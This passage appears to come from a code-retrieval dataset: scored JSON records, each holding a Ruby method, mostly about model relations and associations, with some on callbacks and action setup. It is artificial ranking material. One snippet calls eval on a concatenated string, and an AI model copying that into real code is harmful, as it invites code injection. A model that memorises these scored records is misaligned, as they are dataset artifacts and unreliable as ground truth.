extra_conditions = normalize_extra_conditions(ActiveSupport::JSON.decode(params[:extra_conditions]))\n relation = relation.extend_with_netzke_conditions(extra_conditions) if params[:extra_conditions]\n end\n\n query = params[:query] && ActiveSupport::JSON.decode(params[:query])\n\n if query.present?\n # array of arrays of conditions that should be joined by OR\n and_predicates = query.map do |conditions|\n predicates_for_and_conditions(conditions)\n end\n\n # join them by OR\n predicates = and_predicates[1..-1].inject(and_predicates.first){ |r,c| r.or(c) }\n end\n\n relation = relation.where(predicates)\n\n relation = relation.extend_with(config[:scope]) if config[:scope]\n\n relation\n end", "title": "" }, { "docid": "e4cd08a6fada8821dd61fbf2286843b0", "score": "0.56426835", "text": "def frbr_relationships\n frbr_relationships=Array.new()\n for rel in relationships.uniq\n reltype=RelationshipType.find(rel.relationship_type_id)\n \n #Choose the entity_type that does not match this one.\n #Where both are the same, it does not matter which we pick\n my_entity=EntityType.entityTypeToId(rel.ent_entity_type_id)\n if EntityType.entityTypeToId(rel.ent_entity_type_id) == frbr_type() then \n my_entity= EntityType.entityTypeToId(rel.entity_type_id)\n end\n \n related_objects=eval('rel.'+my_entity+'s')\n \n for related_object in related_objects\n if rel.entity_type_id == rel.ent_entity_type_id then\n if related_object.id != id then\n frbr_relationships.push(FrbrRelationship.new(related_object,reltype.relationship_type_desc,my_entity))\n end\n else \n frbr_relationships.push(FrbrRelationship.new(related_object,reltype.relationship_type_desc,my_entity))\n end\n end\n end\n frbr_relationships\n end", "title": "" }, { "docid": "77d00389199c89e4b5ee63a5cc66e844", "score": "0.5622675", "text": "def related_records(name)\n relationship = self.class.find_relationship(name)\n records = relationship.who_participates_with(self)\n\n relationship.wants_array? ? records : records.first\n end", "title": "" }, { "docid": "1b370039d9c71e4111cd6195f6406c20", "score": "0.5620926", "text": "def belongs_to_list(rel_type, params = {})\n decl_relationships[rel_type] = Neo4j::Relationships::DeclRelationshipDsl.new(rel_type, params)\n end", "title": "" }, { "docid": "116e9925a2c1b983ec04192664ef5ff5", "score": "0.5610635", "text": "def eager_load_relationships(objects, relationships_to_load = nil)\n relationships_to_load = relationships unless relationships_to_load\n\n relationships_to_load.each do |relationship_defn|\n # For each defined relationship\n relationships_map = relationship_defn.find_by_participants(objects)\n\n objects.each do |obj|\n obj.cache_relationships(relationship_defn, relationships_map[obj])\n end\n end\n end", "title": "" }, { "docid": "d5c0f6af0214f5ac7c23f5054fe8d5ba", "score": "0.5607416", "text": "def associations; end", "title": "" }, { "docid": "65264056ad0a4fc7ddbd0467d4357ee7", "score": "0.56066257", "text": "def source_relations\n query = \"at:link[@rel = '#{Rel[repository.cmis_version][:relationships]}']/@href\"\n link = data.xpath(query, NS::COMBINED)\n if link.length == 1\n link = Internal::Utils.append_parameters(link.text, \"relationshipDirection\" => \"source\", \"includeSubRelationshipTypes\" => true)\n Collection.new(repository, link)\n else\n raise \"Expected exactly 1 relationships link for #{key}, got #{link.length}, are you sure this is a document/folder?\"\n end\n end", "title": "" }, { "docid": "e9d67a29637a3e83a37b2ace1d1bdb47", "score": "0.5596665", "text": "def relations\n Relations::RelationTraverser.new(@internal_node)\n end", "title": "" }, { "docid": "35e19ff6df2e73bcf7ed133b7f17d8ef", "score": "0.5590322", "text": "def get_relation(params = {})\n @arel = @model_class.arel_table\n\n relation = @model_class.scoped\n\n relation = apply_column_filters(relation, params[:filter]) if params[:filter]\n\n query = params[:query] && ActiveSupport::JSON.decode(params[:query])\n\n if query.present?\n # array of arrays of conditions that should be joined by OR\n and_predicates = query.map do |conditions|\n predicates_for_and_conditions(conditions)\n end\n\n # join them by OR\n predicates = and_predicates[1..-1].inject(and_predicates.first){ |r,c| r.or(c) }\n end\n\n relation = relation.where(predicates)\n\n relation = relation.extend_with(params[:scope]) if params[:scope]\n\n relation\n end", "title": "" }, { "docid": "8447636b96971cb578efd6913764ce56", "score": "0.5576564", "text": "def parent_rels(*args)\n options = args.extract_options!\n pri = parent_rel_ids\n rels = pri.kind_of?(Array) && pri.empty? ? Relationship.none : Relationship.where(:id => pri)\n Relationship.filter_by_resource_type(rels, options)\n end", "title": "" }, { "docid": "6239a223cdea1f0aa8476a533b0352a4", "score": "0.5574633", "text": "def relationship_ancestry(*args)\n stringify_options = args.extract_options!\n options = stringify_options.slice!(:field_delimiter, :record_delimiter, :exclude_class, :field_method, :include_self)\n\n include_self = stringify_options.delete(:include_self)\n field_method = stringify_options[:field_method] || :id\n\n meth = include_self ? :path : :ancestors\n meth = :\"#{meth.to_s.singularize}_ids\" if field_method == :id\n rels = send(meth, options)\n\n rels_meth = :\"stringify_#{field_method == :id ? \"resource_pairs\" : \"rels\"}\"\n Relationship.send(rels_meth, rels, stringify_options)\n end", "title": "" }, { "docid": "59f66329e47d4fd36786231686ddca42", "score": "0.5540081", "text": "def get_relationship_by_id id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id, headers\n end", "title": "" }, { "docid": "4e154dbe76dc5be81f5be498acb50254", "score": "0.5531395", "text": "def descendant_rels(*args)\n options = args.extract_options!\n rels = relationships.flat_map(&:descendants).uniq\n Relationship.filter_by_resource_type(rels, options)\n end", "title": "" }, { "docid": "c95a5a9417a62d1c2ed89f6dd44dcb21", "score": "0.5511361", "text": "def path_rels(*args)\n options = args.extract_options!\n rel = relationship(:raise_on_multiple => true) # TODO: Handle multiple nodes with a way to detect which node you want\n rels = rel.nil? ? [relationship_for_isolated_root] : rel.path\n Relationship.filter_by_resource_type(rels, options)\n end", "title": "" }, { "docid": "18e7f6aa0b1865d3380e6239f963462e", "score": "0.55102813", "text": "def frbr_relationships\n frbr_relationships=Array.new()\n for rel in relationships.uniq\n reltype=RelationshipType.find(rel.relationship_type_id)\n \n #Choose the entity_type that does not match this one.\n #Where both are the same, it does not matter which we pick\n my_entity=EntityType.entityTypeToId(rel.ent_entity_type_id)\n if EntityType.entityTypeToId(rel.ent_entity_type_id) == frbr_type() then \n my_entity= EntityType.entityTypeToId(rel.entity_type_id)\n end\n \n related_objects=eval('rel.'+my_entity+'s')\n \n for related_object in related_objects\n if rel.entity_type_id == rel.ent_entity_type_id then\n if related_object.id != id then\n frbr_relationships.push(FrbrRelationship.new(related_object,reltype.relationship_type_desc,my_entity))\n end\n else \n frbr_relationships.push(FrbrRelationship.new(related_object,reltype.relationship_type_desc,my_entity))\n end\n end\n end\n frbr_relationships\n end", "title": "" }, { "docid": "b4c56914004e0949bce7ef5b4e1ede62", "score": "0.55042493", "text": "def has_many(direction, name = nil, options = { type: nil })\n if name.is_a?(Hash)\n options.merge(name)\n name = direction\n direction = nil\n elsif name.is_a?(Proc)\n name = direction\n direction = nil\n elsif name.nil?\n name = direction\n end\n reflections[name] = { direction: direction, type: options[:type], kind: :has_many }\n # @!method promise_[name]\n # @return [Promise] on success the .then block will receive a [HyperRecord::Collection] as arg\n # on failure the .fail block will receive the HTTP response object as arg\n define_method(\"promise_#{name}\") do\n @fetch_states[name] = 'i'\n self.class._promise_get(\"#{self.class.resource_base_uri}/#{self.id}/relations/#{name}.json?timestamp=#{`Date.now() + Math.random()`}\").then do |response|\n collection = self.class._convert_array_to_collection(response.json[self.class.to_s.underscore][name], self, name)\n @relations[name] = collection\n @fetch_states[name] = 'f'\n _notify_observers\n @relations[name]\n end.fail do |response|\n error_message = \"#{self.class.to_s}[#{self.id}].#{name}, a has_many association, failed to fetch records!\"\n `console.error(error_message)`\n response\n end\n end\n # @!method [name] get records of the relation\n # @return [HyperRecord::Collection] either a empty one, if the data has not been fetched yet, or the\n # collection with the real data, if it has been fetched already\n define_method(name) do\n _register_observer\n if @fetch_states.has_key?(name) && 'fi'.include?(@fetch_states[name])\n @relations[name]\n elsif self.id\n send(\"promise_#{name}\")\n @relations[name]\n else\n @relations[name]\n end\n end\n # @!method update_[name] mark internal structures so that the relation data is updated once it is requested again\n # @return nil\n define_method(\"update_#{name}\") do\n @fetch_states[name] = 'u'\n nil\n end\n # define_method(\"#{name}=\") do |arg|\n # _register_observer\n # collection = if arg.is_a?(Array)\n # HyperRecord::Collection.new(arg, self, name)\n # elsif arg.is_a?(HyperRecord::Collection)\n # arg\n # else\n # raise \"Argument must be a HyperRecord::Collection or a Array\"\n # end\n # @relations[name] = collection\n # @fetch_states[name] = 'f'\n # @relations[name]\n # end\n end", "title": "" }, { "docid": "3ed863edf422c2997ba6e45ac9464cba", "score": "0.5487262", "text": "def relationship(sym)\n if @relationships\n @relationships[sym]\n else\n self.class.relationship(sym)\n end\n end", "title": "" }, { "docid": "bdb42afcfcaa6e7f29fa9d8c55bb4461", "score": "0.5482663", "text": "def related_attrs\n relationship = flex_options[:relationship_name]\n send relationship\n end", "title": "" }, { "docid": "a5493f70ba08bd3be226c6a8a71b2edb", "score": "0.5482519", "text": "def tenant_relationships()\n return MicrosoftGraph::TenantRelationships::TenantRelationshipsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "7e603fb420458718b04c6d5f0d883f3b", "score": "0.5478076", "text": "def relations_for_relation_type(relation_type)\n # Find all the relations that belong to us for this RelationType, ordered by position\n related_ids = relations.where(relation_type_id: relation_type.id).order(:position).select(:related_to_id)\n\n # Construct a query for all these records\n result = relation_type.applies_to.constantize.where(id: related_ids)\n\n # Merge in the relation_filter if it's available\n result = result.merge(relation_filter_for_relation_type(relation_type)) if relation_filter_for_relation_type(relation_type)\n\n # make sure results are in same order as related_ids array (position order)\n if result.present?\n result.where(id: related_ids).order(:position)\n end\n\n result\n end", "title": "" }, { "docid": "b6b13eabe9c9fd94eca16767be8b3dc3", "score": "0.5475592", "text": "def get_relations_for_actor(search)\n # Self\n q = \"SELECT *\n WHERE { ?x <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#hasName> \\\"#{search}\\\" }\"\n results = query(q)\n relations = [{:person_uri => results.last[:x], :name => search}]\n # Shows\n q = \"SELECT *\n WHERE { ?x <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#hasName> \\\"#{search}\\\" .\n ?x <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#isActorIn> ?show .\n ?show <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#hasTitle> ?name }\"\n results = query(q)\n results.each do |result|\n relations << {:show_uri => result[:show], :name => result[:name]}\n end\n return relations\n end", "title": "" }, { "docid": "72316994320172889c33884e6905e5ab", "score": "0.54674643", "text": "def get_relations(project_id = nil, base_ids = nil, sort = false)\n\t\t_relations = self.subcatrels.in_project(project_id).among_denotations(base_ids)\n\t\tif sort\n\t\t\t_relations.sort{|r1, r2| r1.id <=> r2.id}\n\t\telse\n\t\t\t_relations\n\t\tend\n\tend", "title": "" }, { "docid": "54efbddc677ea5c62d6b4e99d4d6f3e1", "score": "0.5460167", "text": "def rels\n @rels ||= root.data._rels\n end", "title": "" }, { "docid": "461531d691ce1b442407a7290fc9e0a8", "score": "0.54589677", "text": "def relation\n relation = nodes.reduce(root) do |a, e|\n a.associations[e.name.key].join(:join, a, e)\n end\n schema.(relation)\n end", "title": "" }, { "docid": "a6a167bb85711b3c47fd963e21fa2e31", "score": "0.5455617", "text": "def relationship\n relationship? ? children[1] : nil\n end", "title": "" }, { "docid": "cf683fcc01d8d07d7c4df8549f2fb748", "score": "0.5451658", "text": "def resource_relations\n @resource_relations ||= Relation.from_links(client,\n decoded_body[:links])\n end", "title": "" }, { "docid": "7b4b415d9452d816a096bbaa9b578c5f", "score": "0.544315", "text": "def related_to(*args)\n@relations = args.map(&:to_s)\nend", "title": "" }, { "docid": "82350c5013d54402e50e5e37ed700dac", "score": "0.54393005", "text": "def belongs_to(direction, name = nil, options = { type: nil })\n if name.is_a?(Hash)\n options.merge(name)\n name = direction\n direction = nil\n elsif name.is_a?(Proc)\n name = direction\n direction = nil\n elsif name.nil?\n name = direction\n end\n reflections[name] = { direction: direction, type: options[:type], kind: :belongs_to }\n\n define_method(\"promise_#{name}\") do\n @fetch_states[name] = 'i'\n self.class._promise_get(\"#{self.class.resource_base_uri}/#{self.id}/relations/#{name}.json?timestamp=#{`Date.now() + Math.random()`}\").then do |response|\n @relations[name] = if response.json[self.class.to_s.underscore][name]\n self.class._convert_json_hash_to_record(response.json[self.class.to_s.underscore][name])\n else\n nil\n end\n @fetch_states[name] = 'f'\n _notify_observers\n @relations[name]\n end.fail do |response|\n error_message = \"#{self.class.to_s}[#{self.id}].#{name}, a belongs_to association, failed to fetch records!\"\n `console.error(error_message)`\n response\n end\n end\n # @!method [name] get records of the relation\n # @return [HyperRecord::Collection] either a empty one, if the data has not been fetched yet, or the\n # collection with the real data, if it has been fetched already\n define_method(name) do\n _register_observer\n if @fetch_states.has_key?(name) && 'fi'.include?(@fetch_states[name])\n @relations[name]\n elsif self.id\n send(\"promise_#{name}\")\n @relations[name]\n else\n @relations[name]\n end\n end\n # @!method update_[name] mark internal structures so that the relation data is updated once it is requested again\n # @return nil\n define_method(\"update_#{name}\") do\n @fetch_states[name] = 'u'\n nil\n end\n # TODO\n # define_method(\"#{name}=\") do |arg|\n # _register_observer\n # @relations[name] = arg\n # @fetch_states[name] = 'f'\n # @relations[name]\n # end\n end", "title": "" }, { "docid": "9c5f06a0e732de2fab1dfd70fb6dbded", "score": "0.5431403", "text": "def list_relationships(entity_path, named = nil)\n path = entity_path.is_a?(CanonicalPath) ? entity_path : CanonicalPath.parse(entity_path)\n query_params = {\n sort: '__targetCp'\n }\n query_params[:named] = named unless named.nil?\n query = generate_query_params query_params\n ret = http_get(\"/path#{path}/relationships#{query}\")\n ret.map { |r| Relationship.new(r) }\n end", "title": "" }, { "docid": "93cec0861e3c16fd86033c08bcd206f0", "score": "0.54248977", "text": "def map_relations\n self.resource_relations = {}\n model.alchemy_resource_relations.each do |name, options|\n relation_name = name.to_s.gsub(/_id$/, \"\") # ensure that we don't have an id\n association = association_from_relation_name(relation_name)\n foreign_key = association.options[:foreign_key] || \"#{association.name}_id\".to_sym\n collection = options[:collection] || resource_relation_class(association).all\n resource_relations[foreign_key] = options.merge(\n model_association: association,\n name: relation_name,\n collection: collection\n )\n end\n end", "title": "" }, { "docid": "dd58be78d7879479c9501011b6c1d64c", "score": "0.54056865", "text": "def primary_records\n return following_relationships if is_following?\n\n follower_relationships\n end", "title": "" }, { "docid": "323b831e9ea7cd043dd3b963ba8b2b72", "score": "0.5405636", "text": "def relations; enum_relations.to_a end", "title": "" }, { "docid": "d70b3ace00823adf00734f0de3779860", "score": "0.5398117", "text": "def has_many(relationship)\n define_method relationship do\n temp = instance_variable_get(:\"@#{ relationship }\")\n\n return temp unless temp.nil? || temp.empty?\n\n klass = RescueGroups.constantize(relationship)\n foreign_key = \"#{ self.class.to_s.split('::').last.downcase }_id\"\n klass.where(foreign_key.to_sym => @id)\n end\n\n attr_writer relationship\n end", "title": "" }, { "docid": "595cb4a25804f08e61b09349703ca9af", "score": "0.53930885", "text": "def related_data\n @resource.related_identifiers.where(verified: true).where(hidden: false).map do |ri|\n { relation: ri.relation_type_friendly&.camelize(:lower), identifier: ri.related_identifier }\n end || []\n end", "title": "" }, { "docid": "4469b3d0d4586fc603b61d66cca14dba", "score": "0.5385582", "text": "def related_resources(resource)\n if resource.respond_to?(:related_resources_recursive)\n return resource.related_resources_recursive\n else\n return []\n end\n end", "title": "" }, { "docid": "f296c3a581ba827ce13094096968cb24", "score": "0.5383747", "text": "def read_join_relations(obj, res_row, row, join_relations)\n offset = obj.class.serializable_attributes.size\n\n for rel in join_relations\n rel_obj = rel[:target_class].og_allocate(res_row, row)\n rel_obj.og_read(res_row, row, offset)\n offset += rel_obj.class.serializable_attributes.size\n obj.instance_variable_set(\"@#{rel[:name]}\", rel_obj)\n end\n end", "title": "" }, { "docid": "ae0cdfc2eaa7359a87a7b7278560c612", "score": "0.5377153", "text": "def related\n @related ||= Artist.related(self)\n end", "title": "" }, { "docid": "d16f06e49bf16ae0cd5ea15723a1318d", "score": "0.5371806", "text": "def get_relation(id)\n get_object('relation', id)\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "754ccfd9cb8cfccc5767f62a9885c319", "score": "0.0", "text": "def set_question\n @question = Question.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.603186", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6015241", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.5921496", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913448", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913448", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.5897832", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885515", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885515", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885515", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.58878756", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58769405", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5861371", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5808766", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57400525", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5731156", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57159877", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5702554", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.5693239", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.5668723", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.56508374", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5649453", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56375533", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.56254196", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5609089", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5597798", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5597231", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5588031", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.555915", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.555915", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5507016", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.55030775", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54662013", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465261", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54472864", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54438996", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5440141", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.541613", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5409782", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5409782", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5400219", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394745", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394745", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5390984", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53887665", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53780794", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5356209", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5348786", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.5346732", "text": "def setup_phase; end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.5345979", "text": "def register_action(action); end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5344045", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5340186", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.5327604", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.5304261", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.52854896", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282047", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52573466", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5257324", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5248408", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52433753", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52398264", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236372", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236372", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.5231744", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52285135", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.5223686", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' 